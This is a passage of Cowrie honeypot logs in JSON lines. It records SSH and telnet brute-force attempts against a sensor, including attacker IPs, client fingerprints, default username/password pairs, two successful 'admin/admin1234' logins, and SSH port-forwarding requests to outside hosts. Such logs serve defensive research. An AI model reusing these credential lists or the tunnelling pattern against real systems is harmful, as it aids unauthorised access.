\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa6vR\\xe7j\\xe1i\\xf6\\xdc2(=\\x1b\\xb4\\xe4\\n\\x1d\\xa2\\xd8\\xa2\\xef\\xe1\\xba\\x84b}!|\\'x\\xcf\\x02\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:58.951900Z","src_ip":"23.175.50.52","session":"9bc50996e4fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52544,"dst_ip":"159.203.135.109","dst_port":22,"session":"3993203a604b","protocol":"ssh","message":"New connection: 91.92.40.36:52544 (159.203.135.109:22) [session: 3993203a604b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:59.027615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:59.862446Z","src_ip":"91.92.40.36","session":"3993203a604b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:35:59.894866Z","src_ip":"91.92.40.36","session":"3993203a604b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57738,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1a61e841e5f","protocol":"telnet","message":"New connection: 172.81.62.90:57738 (159.203.135.109:23) [session: b1a61e841e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:02.679942Z"}
{"eventid":"cowrie.session.closed","duration":"21.8","message":"Connection lost after 21.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:03.929147Z","src_ip":"23.175.50.52","session":"9bc50996e4fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q1w2e3r4t5y6u7","message":"login attempt [ubuntu/q1w2e3r4t5y6u7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:04.424548Z","src_ip":"91.92.40.36","session":"3993203a604b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25608,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e610f8c3393","protocol":"ssh","message":"New connection: 91.92.40.36:25608 (159.203.135.109:22) [session: 7e610f8c3393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:06.051203Z"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:06.379561Z","src_ip":"91.92.40.36","session":"3993203a604b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:06.948434Z","src_ip":"91.92.40.36","session":"7e610f8c3393","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:06.951810Z","src_ip":"91.92.40.36","session":"7e610f8c3393","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.475263595581055,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:10.474816Z","src_ip":"172.81.62.90","session":"234634999990","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"p4$w0rd","message":"login attempt [guest/p4$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:10.978021Z","src_ip":"91.92.40.36","session":"7e610f8c3393","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:13.261882Z","src_ip":"91.92.40.36","session":"7e610f8c3393","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25662,"dst_ip":"159.203.135.109","dst_port":22,"session":"23afd11a38e1","protocol":"ssh","message":"New connection: 91.92.40.36:25662 (159.203.135.109:22) [session: 23afd11a38e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:14.217200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:14.981166Z","src_ip":"91.92.40.36","session":"23afd11a38e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:14.984640Z","src_ip":"91.92.40.36","session":"23afd11a38e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":63597,"dst_ip":"10.17.0.5","dst_port":22,"session":"f868fe701ae3","protocol":"ssh","message":"New connection: 63.141.242.2:63597 (10.17.0.5:22) [session: f868fe701ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:17.943351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:17.947917Z","src_ip":"63.141.242.2","session":"f868fe701ae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web1","password":"l3tm31n","message":"login attempt [web1/l3tm31n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:17.983606Z","src_ip":"91.92.40.36","session":"23afd11a38e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:18.017883Z","src_ip":"63.141.242.2","session":"f868fe701ae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:19.904930Z","src_ip":"91.92.40.36","session":"23afd11a38e1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:20.717472Z","src_ip":"63.141.242.2","session":"f868fe701ae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":34126,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fd404fadb38","protocol":"telnet","message":"New connection: 94.23.66.112:34126 (10.17.0.5:23) [session: 2fd404fadb38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:21.269986Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38958,"dst_ip":"159.203.135.109","dst_port":22,"session":"45c0b9ada021","protocol":"ssh","message":"New connection: 91.92.40.36:38958 (159.203.135.109:22) [session: 45c0b9ada021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:23.366421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:23.603606Z","src_ip":"91.92.40.36","session":"45c0b9ada021","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:24.111435Z","src_ip":"91.92.40.36","session":"45c0b9ada021","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"a","message":"login attempt [minecraft/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:26.850729Z","src_ip":"91.92.40.36","session":"45c0b9ada021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:28.889708Z","src_ip":"91.92.40.36","session":"45c0b9ada021","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":60778,"dst_ip":"159.203.135.109","dst_port":22,"session":"f61edbddce22","protocol":"ssh","message":"New connection: 91.92.40.36:60778 (159.203.135.109:22) [session: f61edbddce22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:29.073551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:29.795051Z","src_ip":"91.92.40.36","session":"f61edbddce22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:29.826598Z","src_ip":"91.92.40.36","session":"f61edbddce22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":50787,"dst_ip":"10.17.0.5","dst_port":22,"session":"74b4fe54fdc0","protocol":"ssh","message":"New connection: 123.27.168.40:50787 (10.17.0.5:22) [session: 74b4fe54fdc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:30.542431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:30.549324Z","src_ip":"123.27.168.40","session":"74b4fe54fdc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:30.786126Z","src_ip":"123.27.168.40","session":"74b4fe54fdc0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:31.858582Z","src_ip":"123.27.168.40","session":"74b4fe54fdc0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:32.215600Z","session":"74b4fe54fdc0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:32.347485Z","session":"74b4fe54fdc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"12345","message":"login attempt [postgres/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:32.589557Z","src_ip":"91.92.40.36","session":"f61edbddce22","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:36:32.732458Z","src_ip":"123.27.168.40","session":"74b4fe54fdc0","protocol":"ssh"}
